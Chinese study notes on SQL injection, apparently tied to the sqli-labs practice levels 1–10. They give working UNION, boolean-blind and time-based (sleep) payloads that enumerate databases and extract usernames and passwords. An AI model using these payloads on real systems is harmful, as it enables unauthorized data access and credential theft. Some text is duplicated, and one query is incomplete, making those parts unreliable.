本文是对之前一段时间所做的一个总结。
SQL注入原理
当客户端提交的数据未作处理或转义直接带入数据库,就造成了sql注入。
攻击者通过构造不同的sql语句来实现对数据库的任意操作。将恶意的SQL查询或添加语句插入到应用的输入参数中,再在后台SQL服务器上解析执行进行的攻击。
它目前是黑客对数据库进行攻击的最常用的手段之一。
SQL注入的分类
按变量类型分:数字型和字符型
按HTTP提交方式分:POST注入、GET注入和Cookie注入
按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入
按数据库类型分:
sql:oracle、MySQL、mssql、access、sqlite、postgersqlnosql:mongodb、redis
库、表、列
-
information_schema -> 数据库
简单的信息数据库
里面都是视图,不是表,没有具体文件 -
schemata -> 数据库信息
schema_name 数据库名称
select 1,group_concat(schema_name),3 from information_schema.schemata -
tables -> 数据库和表的关系
schema_name 数据库
table_name 表名
select group_concat(table_name) from information_schema.tables where table_schema=‘security’ -
columns -> 表和列的关系
table_name 表名
column_name 列名
select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ -
查出了列和表的具体信息,接下来查询数据
select 列名 from 表 where 条件
select group_concat(id,0x3a,username,0x3a,password) from users(0x3a ‘:’的ASCII值,也可直接用’:’)
基本手工注入流程
联合查询 (1-4关)
1.判断注入
数字型:id=1
字符型:’ 、’)、 '))、 "、 ")、 "))
注释符:-- (这是–空格)、–+、/**/、#
2.获取字段数
order by 二分法联合查询字段数,观察页面变化从而确定字段数
order by 1 --+
order by 3 --+
3.查看显示位尝试使用联合注入
语句为and 1=2 union select 1,2,3 --+
(利用and 1=2或and 0及id=-12查看显示数据的位置)
替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名)
and 1=2 union select 1,database(),version() --+
4.查询相关的信息
查询数据库
select schema_name from information_schema.schemta;
查询表名
select table_name from information_schema.tables where table_schema=‘库名’;
查询列
select column_name from information_schema.columns where table_name=‘表名’;
查询字段内容
例如:查询test库下users表的id及uname字段,用’~'区分id和uname以防字符连接到一起
union select(select group_concat(id,’~’,uname)from test.users),2,3
或者
查询所有数据库
and 1=2 union select (select group_concat(schema_name)from information schema.schemata),2,3
查询所有表名
union select (select group_concat(table_name)from information_schema.tables),2,3
查询所有字段名
union select (select group_concat(column_name)from information_schema.columns),2,3
查询字段内容
如:查询test库下users表的id及uname字段,用’~'区分id和uname以防字符连接到一起
union select(select group_concat(id,’~’,uname)from test.users),2,3
布尔盲注 (5-8关)
布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息
ascii() 函数,返回字符ascii码值
参数 : str单字符
length() 函数,返回字符串的长度
参数 : str 字符串
left() 函数,返回从左至右截取固定长度的字符串
参数str,length
str : 字符串
length:截取长度
substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串
参数,str,pos,length
str: 字符串
pos:开始位置
length: 截取长度
注入流程
-
求当前数据库长度
– length 返回长度
– 8是当前数据库’security’的长度
SELECT * from users WHERE id = 1 and (length(database())=8)– 也可以使用 > 、< 符号来进一步缩小范围
SELECT * from users WHERE id = 1 and (length(database())>8)– 当长度正确就页面就显示正常,其余页面则显示错误
-
求当前数据库名
– 从左至右截取一个字符
SELECT * from users WHERE id = 1 and (left(database(),1)=‘s’)– 从左只有截取两个字符
SELECT * from users WHERE id = 1 and (left(database(),2)=‘se’)或者
SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),1,1)) = 115)
SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),2,1)) = 101)
-
求当前数据库中表的个数
SELECT * from users WHERE id = 1 AND (select count(table_name) from information_schema.
TABLES
where table_schema = database()) = 4 -
求当前数据库中其中一个表名的长度
– length
SELECT * from users WHERE id = 1 AND (LENGTH((select table_name from information_schema.
TABLES
where table_schema = database() LIMIT 0,1))) = 6 -
求当前数据库中其中一个表名
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select table_name FROM information_schema.
TABLES
where table_schema = database() LIMIT 0,1),1,1)) = 101 – e
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select table_name FROM information_schema.TABLES
where table_schema = database() LIMIT 0,1),2,1)) = 109 – m -
求列名的数量
SELECT * from users WHERE id = 1 AND (select count(column_name) from information_schema.columns where table_name = “users”) = 3
-
求列名的长度
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select column_name from information_schema.columns where table_name = “users” limit 0,1),
2,1)) -
求列名 ASCII substr
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select column_name from information_schema.columns where table_name = “users” limit 0,1),1,1)) = 105
-
求字段的数量
SELECT * from users WHERE id = 1 AND (select count(username) from users) = 13
-
求字段内容的长度
SELECT * from users WHERE id = 1 AND length(username)=4
-
求字段内容
SELECT * from users WHERE id = 1 and ASCII(SUBSTR((select username from users limit 0,1),1,1)) = 68
延时注入 (9-10关)
延时注入又称时间盲注,也是盲注的一种。通过构造延时注入语句后,浏览器页面的响应时间来判断正确的数据
应用场景:
延时注入的应用场景是,在我们输入and 1或者and 0的时候,页面的返回无变化,这个时候可以通过and sleep(5)来判断一下页面的响应时间,相应时间在五秒多一点的话,说明此处可以使用延时注入
可以使用到的相关函数:
延时注入会用到布尔盲注的所有函数,包括:**length()、substr()、ascii()**函数
if()函数:
if()函数,顾名思义,这个一个条件判断函数,所以
if()函数有三个参数,其用法为if(a,b,c)
第一个参数a:判断语句,返回结果为真假
第二个参数b:如果前面的判断返回为真,则执行b
第三个参数c:如果前面的判断返回为假,则执行c
sleep()函数:
可以使用延时注入
可以使用到的相关函数:
延时注入会用到布尔盲注的所有函数,包括:**length()、substr()、ascii()**函数
if()函数:
if()函数,顾名思义,这个一个条件判断函数,所以
if()函数有三个参数,其用法为if(a,b,c)
第一个参数a:判断语句,返回结果为真假
第二个参数b:如果前面的判断返回为真,则执行b
第三个参数c:如果前面的判断返回为假,则执行c
sleep()函数:
通过在语句中添加一个sleep(n)函数,强制让语句停留n秒钟